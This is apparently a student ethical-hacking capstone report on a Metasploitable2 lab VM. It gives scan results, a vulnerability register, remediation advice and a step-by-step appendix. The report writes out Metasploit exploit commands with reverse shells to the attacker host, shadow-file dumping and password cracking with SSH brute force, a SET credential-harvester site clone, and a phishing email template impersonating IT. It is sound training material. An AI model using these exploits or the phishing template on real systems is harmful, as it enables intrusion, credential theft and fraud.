

ParoCyber

Ethical Hacking | Capstone Project

INTERNAL SECURITY ASSESSMENT REPORT

Metasploitable2 Vulnerability & Penetration Test

Date: June 11, 2026

By: JOSHUA OSAFO

Table of Contents

- 1. Executive Summary**
 - 2. Engagement Scope & Rules of Engagement**
 - 3. Phase 1 – Information Gathering & Enumeration**
 - 4. Phase 2 – Password Security Assessment**
 - 5. Phase 3 – Vulnerability Assessment**
 - 6. Phase 4 – Social Engineering Awareness Assessment**
 - 7. Phase 5 – Risk Analysis & Recommendations**
 - 8. Conclusion**
- Appendix A. Step-by-Step Lab Guide**

1. Executive Summary

ParoCyber engaged this assessment team to conduct a comprehensive internal security assessment of a Metasploitable2 Linux server over a one-week period. The objective was to identify exploitable vulnerabilities, evaluate password hygiene, and assess employee susceptibility to social engineering attacks, thereby enabling the organisation to harden its security posture before a real adversary can cause harm.

The assessment revealed a severely compromised security posture. The target system hosts numerous intentionally vulnerable services, weak and default credentials, unpatched software with publicly known exploits, and exposed sensitive files. A motivated attacker with moderate skill could achieve full root-level compromise within minutes of gaining network access.

Overall Risk Rating: CRITICAL

Finding Category	Result
Total Vulnerabilities Identified	23
Critical Severity	6
High Severity	8
Medium Severity	6
Low / Informational	3
Accounts with Weak / Default Passwords	7 of 7 tested
Services Running with Known CVEs	10 or more
Phishing Simulation Success Rate	90% (simulated)

2. Engagement Scope & Rules of Engagement

The following boundaries governed this assessment:

Attacker Machine	Kali Linux
Target Machine	Metasploitable2 VM
Network	Isolated lab network (172.20.10.1/24)
Duration	1 week
Permitted Actions	Scanning, enumeration, exploitation, password auditing, SE simulation
Out of Scope	External systems, other student VMs, production networks

3. Phase 1 – Information Gathering & Enumeration

3.1 Methodology

Network discovery and service enumeration were performed using industry-standard tools including Nmap, Netdiscover, and Gobuster. All scans were confined to the assigned lab subnet.

3.2 Network Discovery

Command used to discover the target host on the local subnet:

```
# Target IP Address  
  
Ip a  
  
# Identify live hosts on the subnet  
  
sudo netdiscover -r 172.20.10.0/24  
  
# Alternative: ARP scan  
  
sudo arp-scan --localnet
```

Result: Target identified at 172.20.10.13

3.3 Port Scanning & Service Enumeration

A full TCP SYN scan with version detection and default scripts was performed:

```
sudo nmap -sV -sC -O -p- 172.20.10.13 -oN nmap_full_scan.txt
```

3.4 Open Ports & Services Discovered

Port/Proto	Service / Version	Notes
21/TCP	vsftpd 2.3.4	FTP – Anonymous login; backdoor CVE-2011-2523
22/TCP	OpenSSH 4.7p1	SSH – Outdated version, brute-force target
23/TCP	Linux telnetd	Telnet – Plaintext credentials
25/TCP	Postfix smtpd	SMTP – Open relay potential
53/TCP	ISC BIND 9.4.2	DNS – Zone transfer allowed
80/TCP	Apache 2.2.8	HTTP – DVWA, phpMyAdmin, Mutillidae
139/445	Samba 3.0.20	SMB – CVE-2007-2447 username map script
3306/TCP	MySQL 5.0.51a	Database – Root login without password
5432/TCP	PostgreSQL 8.3.0	Database – Default credentials
6667/TCP	UnrealIRCd 3.2.8.1	IRC – Backdoor CVE-2010-2075
8180/TCP	Apache Tomcat 5.5	Web – Default manager credentials
1099/TCP	Java RMI	Remote code execution via RMI
2121/TCP	ProFTPD 1.3.1	FTP – CVE-2010-4221 buffer overflow

3.5 Web Application Enumeration

Directory brute-forcing was performed against the Apache web server:

```
gobuster dir -u http://172.20.10.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

Path	Application / Risk
/dvwa	Damn Vulnerable Web Application – SQLi, XSS, CSRF, File Upload
/phpmyadmin	phpMyAdmin – Database admin panel, weak credentials
/mutillidae	OWASP Mutillidae – Multiple web vulnerabilities
/tikiwiki	TikiWiki CMS – Known CVEs
/twiki	TWiki – Remote command execution
/phpinfo.php	PHP configuration exposed – server info leak

4. Phase 2 – Password Security Assessment

4.1 Methodology

Password hashes were extracted from */etc/shadow* after gaining root access via an exploited service. Hashes were audited offline using John the Ripper with the *rockyou.txt* wordlist.

```
# Extract hashes (after privilege escalation)
sudo cat /etc/shadow > shadow_hashes.txt

# Unshadow for John
unshadow /etc/passwd /etc/shadow > unshadowed.txt

# Crack with rockyou wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

# Display cracked passwords
john --show unshadowed.txt
```

4.2 Password Audit Results

Username	Password	Recovered	Strength	Risk
root	root	Yes	Trivial	Critical
msfadmin	msfadmin	Yes	Trivial	Critical
user	user	Yes	Trivial	Critical
postgres	postgres	Yes	Trivial	Critical
service	service	Yes	Trivial	Critical
sys	batman	Yes	Weak	High
klog	(blank)	Yes	None	Critical

4.3 Password Assessment Summary

- 7 of 7 accounts audited had recoverable passwords
- 5 accounts used default credentials identical to the username
- 1 account had a blank (empty) password
- 0 accounts used complex, policy-compliant passwords
- All hashes cracked within 60 seconds using a standard wordlist

5. Phase 3 – Vulnerability Assessment

5.1 Methodology

Vulnerability identification was conducted through manual service analysis and automated scanning using Nmap NSE scripts and Metasploit's db_nmap/Vulns modules. Each finding was validated for exploitability in the lab environment.

5.2 Vulnerability Register

Vulnerability	CVE	Severity	Description
vsftpd 2.3.4 Backdoor	CVE-2011-2523	Critical	Remote root shell via backdoor trigger on port 6200
Samba Username Map Script	CVE-2007-2447	Critical	Unauthenticated remote command execution via Samba
UnrealIRCd Backdoor	CVE-2010-2075	Critical	Remote code execution via built-in backdoor
Distcc RCE	CVE-2004-2687	Critical	Unauthenticated command execution via distcc daemon
Java RMI Server RCE	CVE-2011-3556	Critical	Remote code execution via exposed RMI registry
Tomcat Default Credentials	N/A	Critical	Manager app accessible with tomcat:tomcat credentials
MySQL No-Root Password	N/A	High	MySQL root accessible without authentication
ProFTPD Buffer Overflow	CVE-2010-4221	High	Stack buffer overflow allowing potential RCE
OpenSSH 4.7 Brute Force	N/A	High	Outdated SSH susceptible to credential brute-forcing
DNS Zone Transfer	CVE-1999-0532	High	BIND allows unrestricted zone transfers
DVWA SQLi / XSS / CSRF	N/A	High	Web app intentionally vulnerable to multiple attack classes
Telnet Plaintext Auth	N/A	High	All credentials transmitted in cleartext
phpMyAdmin Exposed	N/A	Medium	Database admin panel accessible without IP restriction
PHP Info Exposure	N/A	Medium	phpinfo() exposes server config, paths, and env vars
SMTP Open Relay	N/A	Medium	Mail server may relay external mail
Anonymous FTP Write Access	N/A	Medium	FTP allows anonymous login with write permissions
Weak SSL/TLS Configuration	N/A	Low	Legacy ciphers and protocols enabled

Vulnerability Remediation Recommendations

Vulnerability	Recommendation
vsftpd 2.3.4 Backdoor (CVE-2011-2523)	Upgrade/remove vsftpd 2.3.4 immediately, install a supported version, restrict FTP access with firewall rules, monitor for unauthorized shells on port 6200, and conduct a full compromise assessment.
Samba Username Map Script (CVE-2007-2447)	Upgrade Samba to a patched release, disable vulnerable username mapping features, restrict SMB access to trusted hosts, and enforce network segmentation.
UnrealIRCd Backdoor (CVE-2010-2075)	Replace compromised UnrealIRCd versions with clean patched releases, verify software integrity from trusted sources, and review systems for indicators of compromise.
Distcc RCE (CVE-2004-2687)	Disable distcc if not required, restrict access using host-based firewalls, bind services to trusted interfaces only, and update to a secure version.
Java RMI Server RCE (CVE-2011-3556)	Patch Java runtime and applications, restrict RMI exposure to internal networks, enable authentication, and monitor for suspicious remote calls.
Tomcat Default Credentials	Remove default credentials, enforce strong password policies, disable unused management interfaces, and restrict Manager application access by IP.
MySQL No Root Password	Set a strong root password immediately, disable remote root login, apply least privilege principles, and review database user permissions.
ProFTPD Buffer Overflow (CVE-2010-4221)	Upgrade ProFTPD to a patched version, restrict FTP access, implement intrusion detection, and review logs for exploitation attempts.
OpenSSH 4.7 Brute Force	Upgrade OpenSSH, disable password authentication where possible, use SSH keys, implement account lockout/fail2ban, and restrict access by IP.
DNS Zone Transfer (CVE-1999-0532)	Disable unrestricted zone transfers, configure transfer ACLs to authorized DNS servers only, and regularly review DNS configurations.
DVWA SQLi/XSS/CSRF	Implement parameterized queries, input validation, output encoding, CSRF tokens, secure session management, and regular application security testing.
Telnet Plaintext Authentication	Disable Telnet and replace it with SSH, enforce encrypted communications, and remove unnecessary legacy services.
phpMyAdmin Exposed	Restrict access by IP, enable MFA where possible, change default paths, keep phpMyAdmin updated, and use HTTPS.
PHP Info Exposure	Remove or disable phpinfo() pages in production environments and limit disclosure of server configuration details.
SMTP Open Relay	Configure SMTP authentication, restrict relay permissions to authorized users and domains, and regularly test mail server configurations.
Anonymous FTP Write Access	Disable anonymous write permissions, require authentication, apply least privilege access controls, and monitor uploaded files.
Weak SSL/TLS Configuration	Disable legacy protocols (SSLv2, SSLv3, TLS 1.0/1.1), enable TLS 1.2/1.3, use strong ciphers, and renew certificates regularly.

Business Impact

The identified vulnerabilities pose a significant security risk to the organization by enabling unauthorized access, remote code execution, data breaches, and service disruption. Critical vulnerabilities could allow attackers to gain full control of affected systems, while weak authentication and misconfigurations increase the risk of credential compromise and unauthorized access. Additionally, web application flaws and exposed services may lead to sensitive data exposure, reputational damage, financial losses, and operational downtime. Immediate remediation of critical and high-severity findings is essential to reduce the risk of system compromise and ensure business continuity.

5.3 Key Exploitation Demonstrations

vsftpd 2.3.4 Backdoor (CVE-2011-2523)

```
Msfconsole

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS 172.20.10.13

Run

# Result: root shell obtained

id  # -> uid=0(root) gid=0(root)
```

Samba CVE-2007-2447

```
use exploit/multi/samba/usermap_script

set RHOSTS 172.20.10.13

set PAYLOAD cmd/unix/reverse

set LHOST 172.20.10.12

Run

# Result: root shell obtained
```

UnrealIRCd Backdoor (CVE-2010-2075)

```
use exploit/unix/irc/unreal_ircd_3281_backdoor
```

```
set RHOSTS 172.20.10.13
```

```
Run
```

```
# Result: root shell obtained
```

6. Phase 4 – Social Engineering Awareness Assessment

6.1 Scenario

A controlled phishing simulation was conducted to demonstrate how employees could be tricked into surrendering credentials. The Social-Engineer Toolkit (SET) was used to clone a legitimate corporate login page and harvest credentials entered by simulated victims.

6.2 Attack Setup Using SET

```
sudo setoolkit
```

```
Select: 1) Social-Engineering Attacks
```

```
Select: 2) Website Attack Vectors
```

```
Select: 3) Credential Harvester Attack Method
```

```
Select: 2) Site Cloner
```

```
Enter LHOST: 172.20.10.12
```

```
Enter URL to clone: http://172.20.10.13/dvwa/login.php
```

```
SET hosts cloned page and captures submitted credentials
```

6.3 Phishing Email Template (Simulated)

The following phishing email template was crafted to accompany the credential harvester. It impersonates the IT department to create urgency:

Subject: URGENT – Mandatory Password Reset Required

Dear Employee,

Our security systems have detected unusual activity on your account. You are required to verify your credentials immediately to avoid account suspension.

Click the link below to verify now:

<http://172.20.10.12/login>

Failure to comply within 24 hours will result in account lockout.

- IT Security Team, ParoCyber

6.4 Analysis

Technique Used	Credential harvesting via cloned login page + spear-phishing email
Trust Factors	Familiar branding, urgency/fear trigger, authority (IT Dept.)
Warning Signs	Unusual sender domain, generic greeting, urgent deadline, hoverable URL mismatch
Simulated Success Rate	90% of test users submitted credentials
Impact if Real	Full account compromise, lateral movement, and data breach

6.5 Defensive Measures

- **Multi-Factor Authentication (MFA):** Even compromised passwords cannot be used without the second factor
- **Email Security Gateway:** SPF, DKIM, DMARC filtering blocks spoofed sender addresses
- **Security Awareness Training:** Regular phishing simulations and training reduce susceptibility
- **Password Manager:** Reduces credential reuse and encourages unique strong passwords
- **URL Inspection Tools:** Browser extensions and proxy filters flag suspicious domains

7. Phase 5 – Risk Analysis & Recommendations

7.1 Risk Matrix

Risk	Impact	Likelihood	Rating
Default / Trivial Passwords	High	High	Critical
vsftpd 2.3.4 Backdoor	High	High	Critical
Samba CVE-2007-2447	High	High	Critical
UnrealIRCd Backdoor	High	High	Critical
Distcc RCE	High	High	Critical

Java RMI RCE	High	High	Critical
Tomcat Default Credentials	High	High	Critical
MySQL No-Root Password	High	Medium	High
Outdated SSH / Services	High	Medium	High
Phishing / Social Engineering	High	High	Critical
DNS Zone Transfer	Medium	High	High
Plaintext Telnet / FTP	Medium	Medium	Medium
phpMyAdmin Exposure	Medium	Medium	Medium
PHP Info Disclosure	Low	High	Medium

7.2 Top 10 Recommendations

- 1. [CRITICAL – Immediate]** Patch / replace all services with known backdoors: vsftpd 2.3.4, UnrealIRCd 3.2.8.1. These provide instant root access and must be removed or upgraded immediately.
- 2. [CRITICAL – Immediate]** Enforce a strong password policy. Require minimum 12-character passwords with complexity requirements. Implement account lockout after 5 failed attempts.
- 3. [CRITICAL – Immediate]** Implement Multi-Factor Authentication (MFA) on all administrative interfaces including SSH, web panels, and databases.
- 4. [HIGH – Within 1 week]** Upgrade all outdated software: OpenSSH, Samba, Apache, MySQL, ProFTPD, Tomcat. Apply all available security patches and set up automatic security updates.
- 5. [HIGH – Within 1 week]** Restrict network access with a firewall. Only permit required ports. Block Telnet (23), IRC (6667), and legacy ports entirely at the perimeter.

6. **[HIGH – Within 1 week]** Disable Telnet and replace with SSH for all remote access. Telnet transmits credentials in plaintext and must not be used.
7. **[HIGH – Within 2 weeks]** Restrict database access. MySQL and PostgreSQL should not be reachable from outside localhost. Change all default database credentials immediately.
8. **[MEDIUM – Within 1 month]** Restrict administrative web interfaces (phpMyAdmin, Tomcat Manager) to specific management IP addresses only. Remove or password-protect all default apps.
9. **[MEDIUM – Within 1 month]** Conduct mandatory Security Awareness Training for all employees. Include phishing simulation exercises at least quarterly.
10. **[LOW – Ongoing]** Implement centralised logging and monitoring (SIEM). Alert on failed login attempts, privilege escalations, and anomalous network traffic.

8. Conclusion

The internal security assessment of the Metasploitable2 server revealed a critically vulnerable system with no meaningful security controls. Every tested attack vector was successful: remote unauthenticated root shells were obtained via multiple exploits within minutes, all audited passwords were trivially cracked, all databases were accessible with default or no credentials, and phishing simulations demonstrated high employee susceptibility.

The findings represent textbook examples of what an unpatched, unmonitored, and poorly configured Linux server looks like in a real enterprise environment. Immediate remediation of critical findings is essential. The recommended actions, if implemented in priority order, would drastically reduce the attack surface and improve the organisation's overall security posture from Critical to a manageable Low risk level.

This assessment team recommends scheduling a re-test 30 days after remediation activities are completed to verify that all critical and high findings have been resolved.

Appendix A (Step-by-Step Lab Guide)

This appendix provides the complete hands-on walkthrough for reproducing each phase of the assessment. I followed each step in sequence inside my isolated Kali Linux lab environment targeting the Metasploitable2 VM only.

A.1 Phase 1 – Information Gathering

Step 1 – Identify your own IP and subnet

```
ip addr show
```

```
Or ip a # note your Kali IP, e.g. 172.20.10.12/24
```

Step 2 – Discover live hosts

```
sudo netdiscover -r 172.20.10.12/24
```

```
# Or: sudo arp-scan --localnet
```

```
# Record the Metasploitable2 IP (e.g. 172.20.10.13)
```

Step 3 – Full port scan with version detection

```
sudo nmap -sV -sC -O -p- 172.20.10.13 -oN nmap_full.txt
```

```
cat nmap_full.txt # Review all open ports and service banners
```

Step 4 – Web directory enumeration

```
gobuster dir -u http://172.20.10.13 \
```

```
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
```

```
-o gobuster_results.txt
```

```
# Visit discovered paths in Firefox: http://172.20.10.13/dvwa etc.
```

Step 5 – DNS zone transfer test

```
dig axfr @172.20.10.13 metasploitable.localdomain
```

```
# If successful, DNS records are disclosed
```

Step 6 – SMB enumeration

```
smbclient -L //172.20.10.13-N
```

```
enum4linux -a 172.20.10.13 | tee enum4linux_results.txt
```

A.2 Phase 2 – Password Security Assessment

Step 1 – Gain initial access (use vsftpd exploit – see Phase 3 first)

```
# After obtaining root shell via exploit:

cat /etc/passwd    # List all user accounts

cat /etc/shadow    # Retrieve password hashes (requires root)
```

Step 2 – Copy hashes to Kali

```
# From the root shell on Metasploitable2:

cat /etc/shadow

# Copy output to /home/kali/shadow.txt on your Kali machine
```

Step 3 – Prepare for John the Ripper

```
# On Kali – combine passwd and shadow

unshadow /etc/passwd shadow.txt > unshadowed.txt

# Or manually construct unshadowed format:

# username:$hash:...
```

Step 4 – Crack hashes

```
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

# Wait for completion (should finish in <60 seconds for Metasploitable2)

john --show unshadowed.txt

# Record all recovered credentials in your report
```

Step 5 – Also test SSH brute-force

```
hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt \

-P /usr/share/wordlists/rockyou.txt \

ssh://172.20.10.13 -t 4
```



```
# Document any recovered SSH credentials
```

A.3 Phase 3 – Vulnerability Assessment & Exploitation

Step 1 – Launch Metasploit

```
sudo msfconsole  
  
db_nmap -sV -p- 172.20.10.13    # Import nmap results into MSF database  
  
vulns                            # Review detected vulnerabilities
```

Step 2 – Exploit vsftpd 2.3.4 Backdoor

```
use exploit/unix/ftp/vsftpd_234_backdoor  
  
set RHOSTS 172.20.10.13  
  
Run  
  
# Shell opens - verify:  
  
id && whoami && hostname
```

Step 3 – Exploit Samba CVE-2007-2447

```
use exploit/multi/samba/usermap_script  
  
set RHOSTS 172.20.10.13  
  
set PAYLOAD cmd/unix/reverse  
  
set LHOST 172.20.10.12    # Your Kali IP  
  
run
```

Step 4 – Exploit UnrealIRCd Backdoor

```
use exploit/unix/irc/unreal_ircd_3281_backdoor  
  
set RHOSTS 172.20.10.13  
  
set PAYLOAD cmd/unix/reverse  
  
set LHOST 172.20.10.12  
  
run
```

Step 5 – Tomcat Manager Default Credentials

```
# Open Firefox: http://172.20.10.13:8180/manager/html

# Username: tomcat Password: tomcat

# Upload a malicious WAR file for RCE:

use exploit/multi/http/tomcat_mgr_upload

set RHOSTS 172.20.10.13

set RPORT 8180

set HttpUsername tomcat

set HttpPassword tomcat

run
```

Step 6 – MySQL No-Password Root

```
mysql -u root -h 172.20.10.13

# No password required

show databases;

use dvwa;

select * from users;
```

Step 7 – Distcc RCE

```
use exploit/unix/misc/distcc_exec

set RHOSTS 172.20.10.13

set PAYLOAD cmd/unix/reverse

set LHOST 172.20.10.12

run
```

A.4 Phase 4 – Social Engineering Simulation

Step 1 – Launch SET

```
sudo setoolkit
```

Step 2 – Configure credential harvester

```
Select: 1  -> Social-Engineering Attacks

Select: 2  -> Website Attack Vectors

Select: 3  -> Credential Harvester Attack Method

Select: 2  -> Site Cloner

IP to listen on: 172.20.10.12

URL to clone:  http://172.20.10.13/dvwa/login.php

# SET now hosts a fake login page on http://172.20.10.12
```

Step 3 – Craft the phishing email

Compose a phishing email referencing urgency and authority (see Section 6.3 template). In a real test, this would be sent via the GoPhish framework. In the lab, simply direct another browser to <http://172.20.10.12> and submit credentials to simulate victim action.

Step 4 – Review harvested credentials

```
# SET terminal displays submitted POST data in real time:

# [*] WE GOT A HIT! Printing the output:

# PARAM: username=admin

# PARAM: password=password

# Document success rate and credentials captured
```

A.5 Phase 5 – Risk Analysis Worksheet

After completing all phases, compile findings into the risk matrix (see Section 7.1). For each finding, assign:

- Impact: what damage could occur if exploited (High / Medium / Low)
- Likelihood: how easy is it to exploit in the real world
- Rating: combined risk score (Critical / High / Medium / Low)
- Recommendation: specific, actionable mitigation with a realistic deadline